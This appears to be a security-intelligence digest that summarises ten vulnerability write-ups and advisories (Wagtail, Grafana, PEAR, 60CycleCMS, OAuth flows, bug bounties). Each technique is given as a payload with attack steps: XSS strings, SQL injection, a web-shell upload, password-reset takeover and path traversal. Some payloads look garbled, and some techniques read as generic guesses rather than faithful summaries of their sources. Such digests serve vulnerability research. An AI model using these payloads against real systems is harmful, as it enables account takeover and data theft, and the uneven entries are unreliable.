ETX Signal-X

Daily Intelligence Digest

Wednesday, February 18, 2026

10	26
ARTICLES	TECHNIQUES

Article 1

Wagtail is an open source content management system built on Django. Prior to versions 6.3.6, 7.0.4, 7.1.3, 7.2.2, and 7.3, due to a missing permission check on the preview endpoints, a user with access to the Wagtail admin and knowledge of a model's fiel

Source: threatable

Date:

URL: https://github.com/wagtail/wagtail/commit/01fd3477365a193e6a8270311defb76e890d2719

T1 Unauthorized Preview Access via Missing Permission Checks (Pre-Patch)

💉 Payload

```
POST /admin/pages/preview_on_add/tests/eventpage/{home_page_id}/
POST /admin/pages/preview_on_edit/{event_page_id}/
GET /admin/pages/preview_on_add/tests/eventpage/{home_page_id}/
GET /admin/pages/preview_on_edit/{event_page_id}/
```

⚔️ Attack Chain

1. Obtain access to the Wagtail admin interface (any authenticated user).
2. Identify preview endpoints for page creation and editing:
3. Craft POST or GET requests to these endpoints with arbitrary or valid data.
4. Prior to patch, no permission checks enforced; preview data is returned or preview action is performed.

🔍 Discovery

Analyzed test cases and diffs showing missing permission checks in preview endpoints. Noted that preview actions were possible for users with only `access_admin` permission, not `add` or `change` permissions.

🔓 Bypass

No permission checks on preview endpoints (pre-patch), allowing users with minimal admin access to preview content regardless of their actual edit/add rights.

🔗 Chain With

Can be chained with information disclosure if preview reveals sensitive content or unpublished data. Potential for privilege escalation if preview endpoints accept or process user-controlled data.

T2 Permission Check Enforcement (Patch Analysis)

💉 Payload

```
PermissionCheckedMixin
permission_required = "change" (for edit)
permission_required = "add" (for create)
if not self.user_has_permission_for_instance(self.permission_required, obj):
    raise PermissionDenied
```

⚔️ Attack Chain

1. Patch introduces `PermissionCheckedMixin` to preview views.
2. For edit preview: checks for `change` permission on the object.
3. For create preview: checks for `add` permission on the parent object.
4. If permission not present, raises `PermissionDenied` and redirects user.

🔍 Discovery

Code diff review revealed new permission checks in preview views, specifically lines enforcing `add`/`change` permissions before allowing preview actions.

🔓 Bypass

Patch closes previous bypass; no further bypass possible unless another permission check is missed elsewhere.

🔗 Chain With

If similar permission checks are missing in other endpoints, attacker may pivot. Useful for identifying patterns in permission enforcement across Wagtail/Django apps.

T3 Subpage Addition Preview Permission Check (Patch Analysis)

💉 Payload

```
parent_page_perms = parent_page.permissions_for_user(self.request.user)
if not parent_page_perms.can_add_subpage():
    raise PermissionDenied
```

⚔️ Attack Chain

1. Patch adds permission check for subpage addition preview.
2. When previewing creation of a subpage, checks if user can add subpage to parent.
3. If not, raises `PermissionDenied` and blocks preview.

🔍 Discovery

Code diff review in `pages/preview.py` revealed new check for `can_add_subpage` permission before allowing preview of subpage creation.

🔓 Bypass

Pre-patch, attacker could preview subpage creation without proper permissions. Patch closes this gap.

🔗 Chain With

If other tree operations (move, copy, etc.) lack similar checks, attacker may exploit. Useful for mapping permission boundaries in hierarchical CMS structures.

T4 Snippet Preview Permission Check (Patch Analysis)

💉 Payload

```
Permission.objects.get(content_type__app_label="wagtailadmin", codename="access_admin")
POST /admin/snippets/preview_on_add/{snippet_type}/
POST /admin/snippets/preview_on_edit/{snippet_id}/
GET /admin/snippets/preview_on_add/{snippet_type}/
GET /admin/snippets/preview_on_edit/{snippet_id}/
```

⚔️ Attack Chain

1. Prior to patch, users with only `access_admin` permission could preview snippet creation/editing.
2. Patch enforces `add`/`change` permission checks on snippet preview endpoints.
3. If permission missing, user is redirected and preview denied.

🔍 Discovery

Test cases and code diffs in `snippets/tests/test_preview.py` show explicit permission checks added for snippet preview actions.

🔓 Bypass

Pre-patch, attacker could preview snippets without proper permissions. Patch closes this gap.

🔗 Chain With

If snippet preview reveals sensitive or unpublished data, can be chained with info disclosure. Mapping snippet permission checks may reveal other weak spots in CMS permission model.

Article 2

5.8 Lab: Insufficient workflow validation | 2024

Source: securitycipher

Date: 27-Jan-2024

URL: https://cyberw1ng.medium.com/5-8-lab-insufficient-workflow-validation-2024-ce57b036d908

T1 Bypassing Order Workflow Validation via Direct API Access

💉 **Payload**

```
POST /api/orders HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "product_id": "123",
  "quantity": 1,
  "status": "completed"
}
```

⚔️ **Attack Chain**

1. Authenticate as a normal user and obtain a valid JWT token.
2. Craft a POST request directly to the `/api/orders` endpoint, setting the `status` field to `completed` instead of the expected `pending`.
3. Submit the request and observe that the order is marked as completed without going through the payment workflow.

🔍 **Discovery**

Manual inspection of API endpoints revealed that the `status` field was not properly validated server-side. Testing direct manipulation of order status via API calls.

🔓 **Bypass**

The frontend restricts order status changes, but the backend accepts arbitrary status values from API requests, allowing workflow bypass.

🔗 **Chain With**

Combine with payment-related vulnerabilities to escalate from workflow bypass to financial fraud or unauthorized product access.

T2 Manipulating Order State via PATCH Request

💉 Payload

```
PATCH /api/orders/456 HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "status": "shipped"
}
```

⚔️ Attack Chain

1. Identify an order belonging to the user (or another user, if IDOR is present).
2. Send a PATCH request to `/api/orders/<order_id>` with the `status` field set to `shipped`.
3. The backend updates the order state without verifying if the order was paid or processed.

🔍 Discovery

Fuzzing order-related endpoints with different HTTP verbs and parameters, noting that PATCH allowed state transitions without workflow checks.

🔓 Bypass

No backend validation of order state transitions; client-side restrictions are easily bypassed by direct API calls.

🔗 Chain With

Potential for chaining with IDOR or privilege escalation to alter other users' order states.

T3 Creating Orders with Arbitrary Parameters

💉 Payload

```
POST /api/orders HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "product_id": "999",
  "quantity": 10,
  "discount": 100,
  "status": "completed"
}
```

⚔️ Attack Chain

1. Craft a POST request to `/api/orders` with custom parameters such as `discount` and `status`.
2. Submit the request and observe that the backend accepts and processes these arbitrary fields, applying discounts and marking orders as completed.

🔍 Discovery

Parameter fuzzing on order creation endpoint, testing undocumented fields and values.

🔓 Bypass

Lack of strict schema validation allows attackers to inject unexpected parameters and manipulate order processing.

🔗 Chain With

Combine with business logic flaws to achieve unauthorized discounts, free products, or workflow bypass.

Article 3

“How CVE-2025–4123 Turned Grafana Into a Hacker’s Playground”

Source: securitycipher

Date: 19-Jul-2025

URL: https://infosecwriteups.com/how-cve-2025-4123-turned-grafana-into-a-hackers-playground-f93a45bde714

T1 Path Traversal via Malformed Static Handler in Grafana

💉 Payload

```
GET /public/\attacker.com/%3F/../../../.. HTTP/1.1  Host: vulnerable-grafana.com  GET publi
c 31.1Host:
```

⚔️ Attack Chain

1. Identify the `staticHandler` endpoint in Grafana responsible for serving static files.
2. Craft a request with a path containing encoded traversal sequences and a malformed domain, e.g., `/public/\attacker.com/%3F/../../../..`.
3. Send the request to the vulnerable instance.
4. Access files outside the intended directory, potentially leaking sensitive configuration or credential files.

🔍 Discovery

Observed improper sanitization of user-supplied paths in the `staticHandler` function. The researcher tested directory traversal payloads with encoded and malformed path segments.

🔓 Bypass

The use of encoded characters (`%3F`), backslashes, and domain-like segments (`\attacker.com`) bypassed naive path validation and allowed traversal outside the intended directory.

🔗 Chain With

Leaked files can expose secrets or tokens for further exploitation (e.g., session hijacking, privilege escalation). Traversed files may contain endpoints or configurations enabling SSRF, XSS, or account takeover as described in the article.

T2 Vulnerability Chaining via Path Traversal Entry Point

💉 Payload

```
GET /public/\attacker.com/%3F/../../../.. HTTP/1.1  Host: vulnerable-grafana.com
```

⚔️ Attack Chain

1. Exploit path traversal to read sensitive files (see Technique 1).
2. Identify files containing configuration, session tokens, or API keys.
3. Use exposed information to craft further attacks:

🔍 Discovery

The researcher recognized the domino effect from the initial path traversal, systematically mapping out chained vulnerabilities based on exposed file contents.

🔓 Bypass

Chaining relies on the initial traversal bypass; subsequent steps exploit weak validation or exposed secrets in downstream endpoints.

🔗 Chain With

Full account compromise by combining traversal, XSS, SSRF, and open redirect. Potential for privilege escalation, lateral movement, and persistent access.

Article 4

When the Interview Fails but the Security Does Too

Source: securitycipher

Date: 19-Aug-2025

URL: https://medium.com/@RaunakGupta1922/when-the-interview-fails-but-the-security-does-too-d871ccc47da8

T1 Privilege Escalation via Password Reset Endpoint

💉 Payload

```
POST /api/v1/users/reset-password
{
  "email": "victim@example.com",
  "newPassword": "Attacker@123"
}
```

⚔️ Attack Chain

1. Identify the password reset endpoint (`/api/v1/users/reset-password`).
2. Send a POST request with the victim's email and a new password.
3. The endpoint resets the password without verifying ownership (no token or OTP required).
4. Attacker logs in as victim using the new password.

🔍 Discovery

Manual endpoint enumeration and parameter fuzzing revealed lack of verification on password reset.

🔓 Bypass

No verification (token/OTP) required; direct reset possible with only email.

🔗 Chain With

Can be chained with account takeover, lateral movement, or privilege escalation if victim has elevated access.

T2 Information Disclosure via Unauthenticated User Profile Endpoint

💉 Payload

```
GET /api/v1/users/profile?email=victim@example.com
```

⚔️ Attack Chain

1. Locate the user profile endpoint (`/api/v1/users/profile`).
2. Send a GET request with any email address as a query parameter.
3. Receive full profile information (name, phone, address, etc.) without authentication.

🔍 Discovery

Endpoint tested for authentication requirements; observed sensitive information returned for arbitrary emails.

🔓 Bypass

No authentication or authorization checks enforced on endpoint.

🔗 Chain With

Can be used for recon, social engineering, or to facilitate further attacks (e.g., password reset, phishing).

T3 Unrestricted File Upload Leading to Remote Code Execution

💉 Payload

```
POST /api/v1/upload
Content-Type: multipart/form-data
file: shell.php
```

⚔️ Attack Chain

1. Identify the file upload endpoint (`/api/v1/upload`).
2. Upload a PHP web shell (`shell.php`) via multipart/form-data.
3. Access the uploaded file directly via `/uploads/shell.php`.
4. Execute arbitrary commands on the server.

🔍 Discovery

Upload endpoint tested with various file types; observed successful upload and execution of PHP files.

🔓 Bypass

No file type validation or extension filtering; direct execution possible.

🔗 Chain With

Can be chained with privilege escalation, persistence, or lateral movement within the environment.

T4 IDOR via User ID Parameter in Order Details Endpoint

💉 Payload

```
GET /api/v1/orders/details?userId=12345
```

⚔️ Attack Chain

1. Identify the order details endpoint (`/api/v1/orders/details`).
2. Manipulate the `userId` parameter to another user's ID.
3. Receive order details of other users without authorization.

🔍 Discovery

Parameter fuzzing on endpoints revealed lack of authorization checks for `userId`.

🔓 Bypass

No authorization checks; any user can access any order details by changing `userId`.

🔗 Chain With

Can be used for recon, targeted attacks, or combined with account takeover techniques.

T5 Sensitive Data Exposure via Debug Endpoint

💉 Payload

```
GET /api/v1/debug
```

⚔️ Attack Chain

1. Locate the debug endpoint (`/api/v1/debug`).
2. Send a GET request without authentication.
3. Receive application logs, environment variables, and credentials in response.

🔍 Discovery

Endpoint enumeration; observed sensitive data returned from debug endpoint.

🔓 Bypass

No authentication or access restrictions on debug endpoint.

🔗 Chain With

Can be used to extract credentials, escalate privileges, or facilitate further exploitation.

Article 5

$700 Bounty For Stored XSS

Source: securitycipher

Date: 23-Jul-2025

URL: https://osintteam.blog/700-bounty-for-stored-xss-19277a9c079b

T1 Stored XSS via Profile Bio Field

💉 Payload

```
"><img src=x onerror=alert(1)>
```

⚔️ Attack Chain

1. Register a new user account on the target platform.
2. Navigate to the profile settings page.
3. Edit the 'Bio' field and insert the payload.
4. Save changes; payload is stored in the database.
5. Visit another user's profile page or trigger a page where the bio is rendered.
6. JavaScript executes when the page loads, resulting in XSS.

🔍 Discovery

Manual inspection of profile fields for input sanitization. Noted lack of escaping on the 'Bio' field during profile rendering.

🔓 Bypass

The field allowed HTML tags and did not sanitize input, enabling direct injection of script via event handler.

🔗 Chain With

Can be chained with session hijacking, privilege escalation, or used as a pivot for further attacks if admin views affected profile.

T2 Stored XSS via Comment Section (Markdown Parsing)

💉 Payload

```
![xss](x" onerror="alert(2))
```

⚔️ Attack Chain

1. Post a comment on an article or post using the Markdown image syntax with the payload.
2. The backend parses Markdown and converts it to HTML without sanitizing attributes.
3. When the comment is rendered, the payload triggers JavaScript execution.

🔍 Discovery

Tested Markdown parsing for improper sanitization of image attributes. Observed that Markdown parser did not escape quotes or event handlers.

🔓 Bypass

Used Markdown image syntax to inject JavaScript via the 'onerror' attribute, bypassing standard HTML input filters.

🔗 Chain With

Can be leveraged for persistent XSS across all users viewing the comment section, potentially targeting privileged users.

T3 Stored XSS via Custom HTML Widget

💉 Payload

```
<script>alert(document.cookie)</script>
```

⚔️ Attack Chain

1. Access the custom HTML widget feature (e.g., dashboard or homepage customization).
2. Insert the payload into the widget configuration.
3. Save and activate the widget.
4. Payload executes whenever the widget is rendered on any user's dashboard.

🔍 Discovery

Reviewed widget configuration options for HTML injection. Identified lack of sanitization on custom HTML input.

🔓 Bypass

Direct insertion of script tags was possible due to absence of filtering or escaping in widget rendering logic.

🔗 Chain With

Can be used for session theft, keylogging, or lateral movement if privileged dashboards are affected.

Article 6

60CycleCMS 2.5.2 contains an SQL injection vulnerability in news.php and common/lib.php that allows attackers to manipulate database queries through unvalidated user input. Attackers can exploit vulnerable query parameters like 'title' to inject malicious

Source: threatable

Date:

URL: https://www.exploit-db.com/exploits/48177

T1 SQL Injection via 'title' Parameter in news.php/common/lib.php

💉 Payload

```
http://127.0.0.1/news.php?title=' OR '1'='1
```

⚔️ Attack Chain

1. Locate the vulnerable endpoint: `news.php` which includes `common/lib.php`.
2. Identify the `title` parameter as directly interpolated into SQL queries in `lib.php` (lines 44, 64-73).
3. Craft a payload for the `title` parameter to manipulate the SQL query, e.g., `' OR '1'='1`.
4. Send the request to `news.php?title=[payload]`.
5. Observe database response manipulation (e.g., bypass authentication, enumerate data).

🔍 Discovery

Manual code review of `common/lib.php` revealed unsanitized interpolation of the `title` parameter into SQL queries. The researcher tested by injecting SQL control characters and observed query manipulation.

🔓 Bypass

The only input sanitization is `addslashes`, which can be bypassed using encoded payloads or by exploiting double encoding scenarios. The use of single quotes in the payload demonstrates the bypass.

🔗 Chain With

Combine with authentication bypass, privilege escalation, or data extraction. If other parameters are similarly vulnerable, chain for multi-table extraction or lateral movement.

T2 Reflected XSS via 'etsu' and 'ltsu' Parameters in index.php

💉 Payload

```
http://127.0.0.1/index.php?etsu=<script>alert(1)</script>
http://127.0.0.1/index.php?ltsu=<img src=x onerror=alert(1)>
```

⚔️ Attack Chain

1. Identify `index.php` as rendering user-controlled parameters `etsu` and `ltsu` in HTML output (lines 26-27 of printEnerty.php).
2. Craft XSS payloads for `etsu` and `ltsu` parameters, e.g., `<script>alert(1)</script>` or `<img src=x onerror=alert(1)>`.
3. Send request to `index.php?etsu=[payload]` or `index.php?ltsu=[payload]`.
4. Observe execution of JavaScript in the browser context.

🔍 Discovery

Code review of `news.php` and `printEnerty.php` revealed direct echoing of GET parameters without encoding. Manual fuzzing with script tags confirmed reflected XSS.

🔓 Bypass

No output encoding or sanitization is performed, allowing direct injection of script tags or event handlers. Payloads can be varied for context-specific execution.

🔗 Chain With

Combine with session hijacking, CSRF, or privilege escalation. Use for persistent XSS if comments or entries are stored and reflected elsewhere.

Article 7

PEAR is a framework and distribution system for reusable PHP components. Prior to version 1.33.0, logic bug in the roadmap role check allows non-lead maintainers to create, update, or delete roadmaps. This issue has been patched in version 1.33.0.

Source: threatable

Date:

URL: https://github.com/pear/pearweb/security/advisories/GHSA-p92v-9j73-fxx3

T1 Roadmap Authorization Bypass via Operator Precedence Bug

💉 Payload

```
!$bugtest->role == 'lead'
```

⚔️ Attack Chain

1. Authenticate as a non-lead maintainer in the PEAR system.
2. Access the roadmap management functionality (create, update, delete) via `public_html/bugs/roadmap.php`.
3. The authorization check uses the flawed condition `!$bugtest->role == 'lead'`, which due to operator precedence, evaluates incorrectly.
4. Non-lead maintainers are able to bypass the intended restriction and perform roadmap management actions.

🔍 Discovery

Manual code review of `public_html/bugs/roadmap.php` around line 90 revealed the use of a logic condition with incorrect operator precedence, specifically in the role check for roadmap management.

🔓 Bypass

The logic bug arises from PHP's operator precedence: the `!` operator is applied before the `==`, so `!$bugtest->role == 'lead'` is interpreted as `(!$bugtest->role) == 'lead'`, which always evaluates to false unless `$bugtest->role` is truthy. This allows any role except 'lead' to pass the check.

🔗 Chain With

Privilege escalation for roadmap management can be chained with other authorization bypasses or leveraged to manipulate project planning, potentially impacting release schedules or project governance.

Article 8

$400 Bounty: OAuth Token Theft in One Click

Source: securitycipher

Date: 02-May-2025

URL: https://osintteam.blog/400-bounty-oauth-token-theft-in-one-click-4eb29b16d6dc

T1 OAuth Token Theft via Malicious Redirect URI

💉 Payload

```
https://target.com/oauth/callback?code=<attacker_code>&state=<attacker_state>
```

⚔️ Attack Chain

1. Register an OAuth application with a redirect URI under attacker control (e.g., https://attacker.com/callback).
2. Initiate OAuth flow with victim, sending them a crafted link that uses the attacker's redirect URI.
3. Victim authenticates; authorization code is sent to attacker-controlled endpoint.
4. Attacker exchanges code for access token, gaining victim's OAuth token.

🔍 Discovery

Manual review of OAuth implementation and allowed redirect URIs revealed insufficient validation, allowing arbitrary domains to be registered.

🔓 Bypass

If the target only checks for string matches (not exact domain), attacker can use subdomains or similar domain names to bypass restrictions.

🔗 Chain With

Stolen OAuth token can be used for account takeover, privilege escalation, or lateral movement across integrated services.

T2 State Parameter Manipulation for Session Fixation

💉 Payload

```
https://target.com/oauth/callback?code=<valid_code>&state=<attacker_state>
```

⚔️ Attack Chain

1. Attacker initiates OAuth flow and generates a state value under their control.
2. Sends victim a link with attacker-controlled state parameter.
3. Victim completes authentication; server accepts attacker's state, linking session to attacker.
4. Attacker uses session fixation to hijack victim's session or gain access.

🔍 Discovery

Observed that the state parameter was not tied to user session or validated for integrity, allowing manipulation.

🔓 Bypass

If the application does not bind state to user session, attacker can reuse or fixate state values across users.

🔗 Chain With

Session fixation can be chained with token theft for persistent access or privilege escalation.

T3 Authorization Code Reuse via Weak Validation

💉 Payload

```
POST /oauth/token HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

code=<previously_used_code>&redirect_uri=https://attacker.com/callback&client_id=<client_id
>&client_secret=<client_secret>
```

⚔️ Attack Chain

1. Attacker obtains a valid authorization code (e.g., via phishing or previous OAuth flow).
2. Submits the code multiple times to the token endpoint with attacker-controlled redirect URI.
3. Server issues access tokens for each submission, allowing repeated token theft.

🔍 Discovery

Tested token endpoint with previously used codes and found that codes were not invalidated after first use.

🔓 Bypass

If the server does not track code usage or expiration, attacker can reuse codes indefinitely.

🔗 Chain With

Repeated code reuse enables mass token theft, chaining with session fixation or privilege escalation attacks.

Article 9

PEAR is a framework and distribution system for reusable PHP components. Prior to version 1.33.0, a SQL injection risk exists in karma queries due to unsafe literal substitution for an IN (...) list. This issue has been patched in version 1.33.0.

Source: threatable

Date:

URL: https://github.com/pear/pearweb/security/advisories/GHSA-95mc-p966-c29f

T1 SQL Injection via Unsafe Literal Substitution in IN() Clause

💉 Payload

```
level IN (!)
```

⚔️ Attack Chain

1. Locate the `include/Damblan/Karma.php` file in the PEAR framework.
2. Identify the query using PEAR DB literal substitution for the `IN` clause: `level IN (!)`.
3. Manipulate the input that populates the levels list so it contains attacker-controlled values.
4. Inject SQL payloads into the levels list, which are inserted directly due to literal substitution, bypassing quoting/escaping.
5. Achieve SQL injection by executing arbitrary SQL within the `IN` clause.

🔍 Discovery

The researcher noticed the use of PEAR DB literal substitution (`!`) in an `IN (...)` clause, which bypasses normal quoting/escaping. This was triggered by reviewing the source code for unsafe query construction patterns.

🔓 Bypass

Literal substitution with `!` bypasses all quoting and escaping, allowing raw input to be injected directly into the SQL statement.

🔗 Chain With

Can be chained with privilege escalation or data exfiltration if other vulnerable queries or weak permissions are present in the application.

Article 10

$500 Bounty: How a Logic Flaw Allowed Silent Logins in a Financial Application

Source: securitycipher

Date: 18-Aug-2025

URL: https://medium.com/@luq0x/how-a-logic-flaw-allowed-silent-logins-in-a-financial-application-5eed48939018

T1 Silent Login via Logic Flaw in Session Validation

💉 Payload

```
POST /api/auth/login
{
  "username": "victim_user",
  "password": "any_value"
}
```

⚔️ Attack Chain

1. Send a POST request to the login endpoint with the victim's username and any password value.
2. Application checks for an existing session associated with the username.
3. If a valid session exists, the application skips password verification and issues a new session token, logging the attacker in as the victim.

🔍 Discovery

Researcher noticed that login attempts with incorrect passwords sometimes succeeded. Further investigation revealed that the application prioritized session existence over password validation.

🔓 Bypass

By supplying any password and targeting a user with an active session, password checks are bypassed entirely.

🔗 Chain With

Can be chained with session fixation or session hijacking attacks to force session creation for a victim, then leverage silent login to escalate privileges or perform account takeover.

T2 Account Takeover via Session Fixation and Silent Login

💉 Payload

```
Set-Cookie: sessionid=attacker_session_value
POST /api/auth/login
{
  "username": "victim_user",
  "password": "irrelevant"
}
```

⚔️ Attack Chain

1. Attacker sets a session cookie (sessionid) in their browser matching a session value known to be associated with the victim.
2. Sends a login request with the victim's username and any password.
3. Application recognizes the session as valid for the victim and logs the attacker in without password verification.

🔍 Discovery

After identifying the silent login flaw, researcher tested session fixation by manually setting session cookies and observed successful account takeover.

🔓 Bypass

Session fixation allows attacker to pre-set session values, bypassing authentication checks when combined with the silent login flaw.

🔗 Chain With

Combines with session enumeration or session prediction to automate mass account takeovers. Enables privilege escalation if session values are predictable or can be brute-forced.
